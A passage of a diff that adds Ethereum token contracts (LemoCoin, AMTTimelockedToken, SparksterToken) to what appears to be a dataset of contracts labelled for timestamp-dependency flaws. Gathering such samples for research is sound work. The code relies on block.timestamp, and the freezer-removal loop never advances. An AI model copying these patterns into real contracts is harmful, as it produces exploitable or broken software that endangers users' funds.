indexed _spender, uint256 _value); +} + + +contract Coin is ERC20, DSStop { + string public name; + string public symbol; + uint8 public decimals = 18; + uint256 internal c_totalSupply; + mapping(address => uint256) internal c_balances; + mapping(address => mapping(address => uint256)) internal c_approvals; + + function init(uint256 token_supply, string token_name, string token_symbol) internal { + c_balances[msg.sender] = token_supply; + c_totalSupply = token_supply; + name = token_name; + symbol = token_symbol; + } + + function() public { + assert(false); + } + + function setName(string _name) auth public { + name = _name; + } + + function totalSupply() constant public returns (uint256) { + return c_totalSupply; + } + + function balanceOf(address _owner) constant public returns (uint256) { + return c_balances[_owner]; + } + + function approve(address _spender, uint256 _value) public stoppable returns (bool) { + require(msg.data.length >= (2 * 32) + 4); + require(_value == 0 || c_approvals[msg.sender][_spender] == 0); + + require(_value < c_totalSupply); + + c_approvals[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant public returns (uint256) { + return c_approvals[_owner][_spender]; + } +} + +contract FreezerAuthority is DSAuthority { + address[] internal c_freezers; + + bytes4 constant setFreezingSig = bytes4(0x51c3b8a6); + + bytes4 constant transferAndFreezingSig = bytes4(0xb8a1fdb6); + + function canCall(address caller, address, bytes4 sig) public view returns (bool) { + + if (isFreezer(caller) && (sig == setFreezingSig || sig == transferAndFreezingSig)) { + return true; + } else { + return false; + } + } + + function addFreezer(address freezer) public { + int i = indexOf(c_freezers, freezer); + if (i < 0) { + c_freezers.push(freezer); + } + } + + function removeFreezer(address freezer) public { + int index = indexOf(c_freezers, freezer); + if (index >= 0) { + uint i = uint(index); + while (i < c_freezers.length - 1) { + c_freezers[i] = c_freezers[i + 1]; + } + c_freezers.length--; + } + } + + + function indexOf(address[] values, address value) internal pure returns (int) { + uint i = 0; + while (i < values.length) { + if (values[i] == value) { + return int(i); + } + i++; + } + return int(- 1); + } + + function isFreezer(address addr) public constant returns (bool) { + return indexOf(c_freezers, addr) >= 0; + } +} + +contract LemoCoin is Coin, DSMath { + + struct FreezingNode { + uint end_stamp; + uint num_lemos; + uint8 freezing_type; + } + + + mapping(address => FreezingNode[]) internal c_freezing_list; + + constructor(uint256 token_supply, string token_name, string token_symbol) public { + init(token_supply, token_name, token_symbol); + setAuthority(new FreezerAuthority()); + } + + function addFreezer(address freezer) auth public { + FreezerAuthority(authority).addFreezer(freezer); + } + + function removeFreezer(address freezer) auth public { + FreezerAuthority(authority).removeFreezer(freezer); + } + + event ClearExpiredFreezingEvent(address indexed addr); + event SetFreezingEvent(address indexed addr, uint end_stamp, uint num_lemos, uint8 indexed freezing_type); + + function clearExpiredFreezing(address addr) public { + FreezingNode[] storage nodes = c_freezing_list[addr]; + uint length = nodes.length; + + + uint left = 0; + while (left < length) { + + if (nodes[left].end_stamp <= block.timestamp) { + break; + } + left++; + } + + + uint right = left + 1; + while (left < length && right < length) { + + if (nodes[right].end_stamp > block.timestamp) { + nodes[left] = nodes[right]; + left++; + } + right++; + } + if (length != left) { + nodes.length = left; + emit ClearExpiredFreezingEvent(addr); + } + } + + function validBalanceOf(address addr) constant public returns (uint) { + FreezingNode[] memory nodes = c_freezing_list[addr]; + uint length = nodes.length; + uint total_lemos = balanceOf(addr); + + for (uint i = 0; i < length; ++i) { + if (nodes[i].end_stamp > block.timestamp) { + total_lemos = sub(total_lemos, nodes[i].num_lemos); + } + } + + return total_lemos; + } + + function freezingBalanceNumberOf(address addr) constant public returns (uint) { + return c_freezing_list[addr].length; + } + + function freezingBalanceInfoOf(address addr, uint index) constant public returns (uint, uint, uint8) { + return (c_freezing_list[addr][index].end_stamp, c_freezing_list[addr][index].num_lemos, uint8(c_freezing_list[addr][index].freezing_type)); + } + + function setFreezing(address addr, uint end_stamp, uint num_lemos, uint8 freezing_type) auth stoppable public { + require(block.timestamp < end_stamp); + + require(num_lemos < c_totalSupply); + clearExpiredFreezing(addr); + uint valid_balance = validBalanceOf(addr); + require(valid_balance >= num_lemos); + + FreezingNode memory node = FreezingNode(end_stamp, num_lemos, freezing_type); + c_freezing_list[addr].push(node); + + emit SetFreezingEvent(addr, end_stamp, num_lemos, freezing_type); + } + + function transferAndFreezing(address _to, uint256 _value, uint256 freeze_amount, uint end_stamp, uint8 freezing_type) auth stoppable public returns (bool) { + + require(_value < c_totalSupply); + require(freeze_amount <= _value); + + transfer(_to, _value); + setFreezing(_to, end_stamp, freeze_amount, freezing_type); + + return true; + } + + function transfer(address _to, uint256 _value) stoppable public returns (bool) { + require(msg.data.length >= (2 * 32) + 4); + + require(_value < c_totalSupply); + clearExpiredFreezing(msg.sender); + uint from_lemos = validBalanceOf(msg.sender); + + require(from_lemos >= _value); + + c_balances[msg.sender] = sub(c_balances[msg.sender], _value); + c_balances[_to] = add(c_balances[_to], _value); + + emit Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool) { + + require(_value < c_totalSupply); + require(c_approvals[_from][msg.sender] >= _value); + + clearExpiredFreezing(_from); + uint from_lemos = validBalanceOf(_from); + + require(from_lemos >= _value); + + c_approvals[_from][msg.sender] = sub(c_approvals[_from][msg.sender], _value); + c_balances[_from] = sub(c_balances[_from], _value); + c_balances[_to] = add(c_balances[_to], _value); + + emit Transfer(_from, _to, _value); + return true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6370.sol b/smart_contract_dataset/timestamp dependency/6370.sol new file mode 100644 index 0000000000000000000000000000000000000000..cbf6e43fef9dbcee2a3a576e8e7c2a17301543e2 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6370.sol @@ -0,0 +1,325 @@ +pragma solidity ^0.4.24; + + +contract Ownable { + address public owner; + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + +contract AMTTimelockedToken is Ownable { + using SafeERC20 for ERC20Basic; + using SafeMath for uint256; + + uint8 public constant decimals = 18; + + + ERC20Basic token; + + + uint256 public constant MANAGE_CAP = 1 * (10 ** 8) * (10 ** uint256(decimals)); + uint256 public constant DEVELOP_CAP = 2 * (10 ** 8) * (10 ** uint256(decimals)); + uint256 public constant MARKET_CAP = 1 * (10 ** 8) * (10 ** uint256(decimals)); + uint256 public constant FINANCE_CAP = 6 * (10 ** 7) * (10 ** uint256(decimals)); + + + uint256 public constant MANAGE_CAP_PER_ROUND = 2 * (10 ** 7) * (10 ** uint256(decimals)); + uint256 public constant DEVELOP_CAP_PER_ROUND = 4 * (10 ** 7) * (10 ** uint256(decimals)); + uint256 public constant MARKET_CAP_PER_ROUND = 2 * (10 ** 7) * (10 ** uint256(decimals)); + uint256 public constant FINANCE_CAP_PER_ROUND = 12 * (10 ** 6) * (10 ** uint256(decimals)); + + + mapping (address => uint256) releasedTokens; + + + address beneficiary_manage; + address beneficiary_develop; + address beneficiary_market; + address beneficiary_finance; + + + uint256 first_round_release_time; + uint256 second_round_release_time; + uint256 third_round_release_time; + uint256 forth_round_release_time; + uint256 fifth_round_release_time; + + + constructor( + ERC20Basic _token, + address _beneficiary_manage, + address _beneficiary_develop, + address _beneficiary_market, + address _beneficiary_finance, + uint256 _first_round_release_time, + uint256 _second_round_release_time, + uint256 _third_round_release_time, + uint256 _forth_round_release_time, + uint256 _fifth_round_release_time + ) public { + + token = _token; + + beneficiary_manage = _beneficiary_manage; + beneficiary_develop = _beneficiary_develop; + beneficiary_market = _beneficiary_market; + beneficiary_finance = _beneficiary_finance; + + first_round_release_time = _first_round_release_time; + second_round_release_time = _second_round_release_time; + third_round_release_time = _third_round_release_time; + forth_round_release_time = _forth_round_release_time; + fifth_round_release_time = _fifth_round_release_time; + + } + + + function getToken() public view returns (ERC20Basic) { + return token; + } + + + function getBeneficiaryManage() public view returns (address) { + return beneficiary_manage; + } + + + function getBeneficiaryDevelop() public view returns (address) { + return beneficiary_develop; + } + + + function getBeneficiaryMarket() public view returns (address) { + return beneficiary_market; + } + + + function getBeneficiaryFinance() public view returns (address) { + return beneficiary_finance; + } + + + function getFirstRoundReleaseTime() public view returns (uint256) { + return first_round_release_time; + } + + + function getSecondRoundReleaseTime() public view returns (uint256) { + return second_round_release_time; + } + + + function getThirdRoundReleaseTime() public view returns (uint256) { + return third_round_release_time; + } + + + function getForthRoundReleaseTime() public view returns (uint256) { + return forth_round_release_time; + } + + + function getFifthRoundReleaseTime() public view returns (uint256) { + return fifth_round_release_time; + } + + + function releasedTokenOf(address _owner) public view returns (uint256) { + return releasedTokens[_owner]; + } + + + function validateReleasedToken(uint256 _round) internal onlyOwner { + + uint256 releasedTokenOfManage = releasedTokens[beneficiary_manage]; + uint256 releasedTokenOfDevelop = releasedTokens[beneficiary_develop]; + uint256 releasedTokenOfMarket = releasedTokens[beneficiary_market]; + uint256 releasedTokenOfFinance = releasedTokens[beneficiary_finance]; + + require(releasedTokenOfManage < MANAGE_CAP_PER_ROUND.mul(_round)); + require(releasedTokenOfManage.add(MANAGE_CAP_PER_ROUND) <= MANAGE_CAP_PER_ROUND.mul(_round)); + + require(releasedTokenOfDevelop < DEVELOP_CAP_PER_ROUND.mul(_round)); + require(releasedTokenOfDevelop.add(DEVELOP_CAP_PER_ROUND) <= DEVELOP_CAP_PER_ROUND.mul(_round)); + + require(releasedTokenOfMarket < MARKET_CAP_PER_ROUND.mul(_round)); + require(releasedTokenOfMarket.add(MARKET_CAP_PER_ROUND) <= MARKET_CAP_PER_ROUND.mul(_round)); + + require(releasedTokenOfFinance < FINANCE_CAP_PER_ROUND.mul(_round)); + require(releasedTokenOfFinance.add(FINANCE_CAP_PER_ROUND) <= FINANCE_CAP_PER_ROUND.mul(_round)); + + uint256 totalRoundCap = MANAGE_CAP_PER_ROUND.add(DEVELOP_CAP_PER_ROUND).add(MARKET_CAP_PER_ROUND).add(FINANCE_CAP_PER_ROUND); + require(token.balanceOf(this) >= totalRoundCap); + + token.safeTransfer(beneficiary_manage, MANAGE_CAP_PER_ROUND); + releasedTokens[beneficiary_manage] = releasedTokens[beneficiary_manage].add(MANAGE_CAP_PER_ROUND); + + token.safeTransfer(beneficiary_develop, DEVELOP_CAP_PER_ROUND); + releasedTokens[beneficiary_develop] = releasedTokens[beneficiary_develop].add(DEVELOP_CAP_PER_ROUND); + + token.safeTransfer(beneficiary_market, MARKET_CAP_PER_ROUND); + releasedTokens[beneficiary_market] = releasedTokens[beneficiary_market].add(MARKET_CAP_PER_ROUND); + + token.safeTransfer(beneficiary_finance, FINANCE_CAP_PER_ROUND); + releasedTokens[beneficiary_finance] = releasedTokens[beneficiary_finance].add(FINANCE_CAP_PER_ROUND); + } + + + function releaseToken() public onlyOwner { + + if (block.timestamp >= fifth_round_release_time) { + + validateReleasedToken(5); + return; + + }else if (block.timestamp >= forth_round_release_time) { + + validateReleasedToken(4); + return; + + }else if (block.timestamp >= third_round_release_time) { + + validateReleasedToken(3); + return; + + }else if (block.timestamp >= second_round_release_time) { + + validateReleasedToken(2); + return; + + }else if (block.timestamp >= first_round_release_time) { + + validateReleasedToken(1); + return; + + } + + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6396.sol b/smart_contract_dataset/timestamp dependency/6396.sol new file mode 100644 index 0000000000000000000000000000000000000000..39ada7915f34b541b0bffa7211397a637c9974dc --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6396.sol @@ -0,0 +1,1376 @@ +pragma solidity 0.4.24; + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances[_owner]; + } + +} + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom( + address _from, + address _to, + uint256 _value + ) + public + returns (bool) + { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint256 _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint256 _subtractedValue + ) + public + returns (bool) + { + uint256 oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +library strings { + struct slice { + uint _len; + uint _ptr; + } + + function memcpy(uint dest, uint src, uint len) private pure { + + for(; len >= 32; len -= 32) { + assembly { + mstore(dest, mload(src)) + } + dest += 32; + src += 32; + } + + + uint mask = 256 ** (32 - len) - 1; + assembly { + let srcpart := and(mload(src), not(mask)) + let destpart := and(mload(dest), mask) + mstore(dest, or(destpart, srcpart)) + } + } + + + function toSlice(string self) internal pure returns (slice) { + uint ptr; + assembly { + ptr := add(self, 0x20) + } + return slice(bytes(self).length, ptr); + } + + + function len(bytes32 self) internal pure returns (uint) { + uint ret; + if (self == 0) + return 0; + if (self & 0xffffffffffffffffffffffffffffffff == 0) { + ret += 16; + self = bytes32(uint(self) / 0x100000000000000000000000000000000); + } + if (self & 0xffffffffffffffff == 0) { + ret += 8; + self = bytes32(uint(self) / 0x10000000000000000); + } + if (self & 0xffffffff == 0) { + ret += 4; + self = bytes32(uint(self) / 0x100000000); + } + if (self & 0xffff == 0) { + ret += 2; + self = bytes32(uint(self) / 0x10000); + } + if (self & 0xff == 0) { + ret += 1; + } + return 32 - ret; + } + + + function toSliceB32(bytes32 self) internal pure returns (slice ret) { + + assembly { + let ptr := mload(0x40) + mstore(0x40, add(ptr, 0x20)) + mstore(ptr, self) + mstore(add(ret, 0x20), ptr) + } + ret._len = len(self); + } + + + function copy(slice self) internal pure returns (slice) { + return slice(self._len, self._ptr); + } + + + function toString(slice self) internal pure returns (string) { + string memory ret = new string(self._len); + uint retptr; + assembly { retptr := add(ret, 32) } + + memcpy(retptr, self._ptr, self._len); + return ret; + } + + + function len(slice self) internal pure returns (uint l) { + + uint ptr = self._ptr - 31; + uint end = ptr + self._len; + for (l = 0; ptr < end; l++) { + uint8 b; + assembly { b := and(mload(ptr), 0xFF) } + if (b < 0x80) { + ptr += 1; + } else if(b < 0xE0) { + ptr += 2; + } else if(b < 0xF0) { + ptr += 3; + } else if(b < 0xF8) { + ptr += 4; + } else if(b < 0xFC) { + ptr += 5; + } else { + ptr += 6; + } + } + } + + + function empty(slice self) internal pure returns (bool) { + return self._len == 0; + } + + + function compare(slice self, slice other) internal pure returns (int) { + uint shortest = self._len; + if (other._len < self._len) + shortest = other._len; + + uint selfptr = self._ptr; + uint otherptr = other._ptr; + for (uint idx = 0; idx < shortest; idx += 32) { + uint a; + uint b; + assembly { + a := mload(selfptr) + b := mload(otherptr) + } + if (a != b) { + + uint256 mask = uint256(-1); + if(shortest < 32) { + mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); + } + uint256 diff = (a & mask) - (b & mask); + if (diff != 0) + return int(diff); + } + selfptr += 32; + otherptr += 32; + } + return int(self._len) - int(other._len); + } + + + function equals(slice self, slice other) internal pure returns (bool) { + return compare(self, other) == 0; + } + + + function nextRune(slice self, slice rune) internal pure returns (slice) { + rune._ptr = self._ptr; + + if (self._len == 0) { + rune._len = 0; + return rune; + } + + uint l; + uint b; + + assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } + if (b < 0x80) { + l = 1; + } else if(b < 0xE0) { + l = 2; + } else if(b < 0xF0) { + l = 3; + } else { + l = 4; + } + + + if (l > self._len) { + rune._len = self._len; + self._ptr += self._len; + self._len = 0; + return rune; + } + + self._ptr += l; + self._len -= l; + rune._len = l; + return rune; + } + + + function nextRune(slice self) internal pure returns (slice ret) { + nextRune(self, ret); + } + + + function ord(slice self) internal pure returns (uint ret) { + if (self._len == 0) { + return 0; + } + + uint word; + uint length; + uint divisor = 2 ** 248; + + + assembly { word:= mload(mload(add(self, 32))) } + uint b = word / divisor; + if (b < 0x80) { + ret = b; + length = 1; + } else if(b < 0xE0) { + ret = b & 0x1F; + length = 2; + } else if(b < 0xF0) { + ret = b & 0x0F; + length = 3; + } else { + ret = b & 0x07; + length = 4; + } + + + if (length > self._len) { + return 0; + } + + for (uint i = 1; i < length; i++) { + divisor = divisor / 256; + b = (word / divisor) & 0xFF; + if (b & 0xC0 != 0x80) { + + return 0; + } + ret = (ret * 64) | (b & 0x3F); + } + + return ret; + } + + + function keccak(slice self) internal pure returns (bytes32 ret) { + assembly { + ret := keccak256(mload(add(self, 32)), mload(self)) + } + } + + + function startsWith(slice self, slice needle) internal pure returns (bool) { + if (self._len < needle._len) { + return false; + } + + if (self._ptr == needle._ptr) { + return true; + } + + bool equal; + assembly { + let length := mload(needle) + let selfptr := mload(add(self, 0x20)) + let needleptr := mload(add(needle, 0x20)) + equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) + } + return equal; + } + + + function beyond(slice self, slice needle) internal pure returns (slice) { + if (self._len < needle._len) { + return self; + } + + bool equal = true; + if (self._ptr != needle._ptr) { + assembly { + let length := mload(needle) + let selfptr := mload(add(self, 0x20)) + let needleptr := mload(add(needle, 0x20)) + equal := eq(sha3(selfptr, length), sha3(needleptr, length)) + } + } + + if (equal) { + self._len -= needle._len; + self._ptr += needle._len; + } + + return self; + } + + + function endsWith(slice self, slice needle) internal pure returns (bool) { + if (self._len < needle._len) { + return false; + } + + uint selfptr = self._ptr + self._len - needle._len; + + if (selfptr == needle._ptr) { + return true; + } + + bool equal; + assembly { + let length := mload(needle) + let needleptr := mload(add(needle, 0x20)) + equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) + } + + return equal; + } + + + function until(slice self, slice needle) internal pure returns (slice) { + if (self._len < needle._len) { + return self; + } + + uint selfptr = self._ptr + self._len - needle._len; + bool equal = true; + if (selfptr != needle._ptr) { + assembly { + let length := mload(needle) + let needleptr := mload(add(needle, 0x20)) + equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) + } + } + + if (equal) { + self._len -= needle._len; + } + + return self; + } + + event log_bytemask(bytes32 mask); + + + + function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { + uint ptr = selfptr; + uint idx; + + if (needlelen <= selflen) { + if (needlelen <= 32) { + bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); + + bytes32 needledata; + assembly { needledata := and(mload(needleptr), mask) } + + uint end = selfptr + selflen - needlelen; + bytes32 ptrdata; + assembly { ptrdata := and(mload(ptr), mask) } + + while (ptrdata != needledata) { + if (ptr >= end) + return selfptr + selflen; + ptr++; + assembly { ptrdata := and(mload(ptr), mask) } + } + return ptr; + } else { + + bytes32 hash; + assembly { hash := sha3(needleptr, needlelen) } + + for (idx = 0; idx <= selflen - needlelen; idx++) { + bytes32 testHash; + assembly { testHash := sha3(ptr, needlelen) } + if (hash == testHash) + return ptr; + ptr += 1; + } + } + } + return selfptr + selflen; + } + + + + function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { + uint ptr; + + if (needlelen <= selflen) { + if (needlelen <= 32) { + bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); + + bytes32 needledata; + assembly { needledata := and(mload(needleptr), mask) } + + ptr = selfptr + selflen - needlelen; + bytes32 ptrdata; + assembly { ptrdata := and(mload(ptr), mask) } + + while (ptrdata != needledata) { + if (ptr <= selfptr) + return selfptr; + ptr--; + assembly { ptrdata := and(mload(ptr), mask) } + } + return ptr + needlelen; + } else { + + bytes32 hash; + assembly { hash := sha3(needleptr, needlelen) } + ptr = selfptr + (selflen - needlelen); + while (ptr >= selfptr) { + bytes32 testHash; + assembly { testHash := sha3(ptr, needlelen) } + if (hash == testHash) + return ptr + needlelen; + ptr -= 1; + } + } + } + return selfptr; + } + + + function find(slice self, slice needle) internal pure returns (slice) { + uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); + self._len -= ptr - self._ptr; + self._ptr = ptr; + return self; + } + + + function rfind(slice self, slice needle) internal pure returns (slice) { + uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); + self._len = ptr - self._ptr; + return self; + } + + + function split(slice self, slice needle, slice token) internal pure returns (slice) { + uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); + token._ptr = self._ptr; + token._len = ptr - self._ptr; + if (ptr == self._ptr + self._len) { + + self._len = 0; + } else { + self._len -= token._len + needle._len; + self._ptr = ptr + needle._len; + } + return token; + } + + + function split(slice self, slice needle) internal pure returns (slice token) { + split(self, needle, token); + } + + + function rsplit(slice self, slice needle, slice token) internal pure returns (slice) { + uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); + token._ptr = ptr; + token._len = self._len - (ptr - self._ptr); + if (ptr == self._ptr) { + + self._len = 0; + } else { + self._len -= token._len + needle._len; + } + return token; + } + + + function rsplit(slice self, slice needle) internal pure returns (slice token) { + rsplit(self, needle, token); + } + + + function count(slice self, slice needle) internal pure returns (uint cnt) { + uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; + while (ptr <= self._ptr + self._len) { + cnt++; + ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; + } + } + + + function contains(slice self, slice needle) internal pure returns (bool) { + return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; + } + + + function concat(slice self, slice other) internal pure returns (string) { + string memory ret = new string(self._len + other._len); + uint retptr; + assembly { retptr := add(ret, 32) } + memcpy(retptr, self._ptr, self._len); + memcpy(retptr + self._len, other._ptr, other._len); + return ret; + } + + + function join(slice self, slice[] parts) internal pure returns (string) { + if (parts.length == 0) + return ""; + + uint length = self._len * (parts.length - 1); + for(uint i = 0; i < parts.length; i++) + length += parts[i]._len; + + string memory ret = new string(length); + uint retptr; + assembly { retptr := add(ret, 32) } + + for(i = 0; i < parts.length; i++) { + memcpy(retptr, parts[i]._ptr, parts[i]._len); + retptr += parts[i]._len; + if (i < parts.length - 1) { + memcpy(retptr, self._ptr, self._len); + retptr += self._len; + } + } + + return ret; + } +} + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + +pragma solidity 0.4.24; + +contract SparksterToken is StandardToken, Ownable{ + using strings for *; + using SafeMath for uint256; + struct Member { + mapping(uint256 => uint256) weiBalance; + mapping(uint256 => uint256) tokenBalance; + int256 transferred; + bool exists; + } + + struct Group { + bool distributed; + bool distributing; + bool unlocked; + uint256 ratio; + uint256 startTime; + uint256 phase1endTime; + uint256 phase2endTime; + uint256 deadline; + uint256 max2; + uint256 max3; + uint256 weiTotal; + uint256 cap; + uint256 howManyDistributed; + uint256 howManyTotal; + } + + address oracleAddress = 0xCb3405Fd5212C8B6a16DeFf9eBa49E69478A61b8; + bool public transferLock = true; + bool public allowedToSell = false; + bool public allowedToPurchase = false; + string public name; + string public symbol; + uint8 public decimals; + uint256 public penalty; + uint256 public maxGasPrice; + uint256 internal nextGroupNumber; + uint256 public sellPrice; + address[] internal allMembers; + address[] internal allNonMembers; + mapping(address => bool) internal nonMemberTransfers; + mapping(address => Member) internal members; + mapping(uint256 => Group) internal groups; + uint256 public openGroupNumber; + event WantsToPurchase(address walletAddress, uint256 weiAmount, uint256 groupNumber, bool inPhase1); + event WantsToDistribute(uint256 groupNumber, uint256 startIndex, uint256 endIndex); + event NearingHardCap(uint256 groupNumber, uint256 remainder); + event ReachedHardCap(uint256 groupNumber); + event DistributeDone(uint256 groupNumber); + event UnlockDone(uint256 groupNumber); + event GroupCreated(uint256 groupNumber, uint256 startTime, uint256 phase1endTime, uint256 phase2endTime, uint256 deadline, uint256 phase2cap, uint256 phase3cap, uint256 cap, uint256 ratio); + event AddToGroup(address walletAddress, uint256 groupNumber); + event ChangedAllowedToSell(bool allowedToSell); + event ChangedAllowedToPurchase(bool allowedToPurchase); + event ChangedTransferLock(bool transferLock); + event SetSellPrice(uint256 sellPrice); + event SplitTokens(uint256 splitFactor); + event ReverseSplitTokens(uint256 splitFactor); + + modifier onlyOracleBackend() { + require(msg.sender == oracleAddress); + _; + } + + + modifier onlyPayloadSize(uint size) { + require(msg.data.length == size + 4); + _; + } + + modifier canTransfer() { + require(!transferLock); + _; + } + + modifier canPurchase() { + require(allowedToPurchase); + _; + } + + modifier canSell() { + require(allowedToSell); + _; + } + + function() public payable { + purchase(); + } + + constructor() public { + name = "Sparkster"; + decimals = 18; + symbol = "SPRK"; + setMaximumGasPrice(40); + + mintTokens(435000000); + } + + function setOracleAddress(address newAddress) public onlyOwner returns(bool success) { + oracleAddress = newAddress; + return true; + } + + function setMaximumGasPrice(uint256 gweiPrice) public onlyOwner returns(bool success) { + maxGasPrice = gweiPrice.mul(10**9); + return true; + } + + function parseAddr(string _a) pure internal returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + function parseInt(string _a, uint _b) pure internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decim = false; + for (uint i = 0; i < bresult.length; i++) { + if ((bresult[i] >= 48) && (bresult[i] <= 57)) { + if (decim) { + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decim = true; + } + return mint; + } + + function mintTokens(uint256 amount) public onlyOwner { 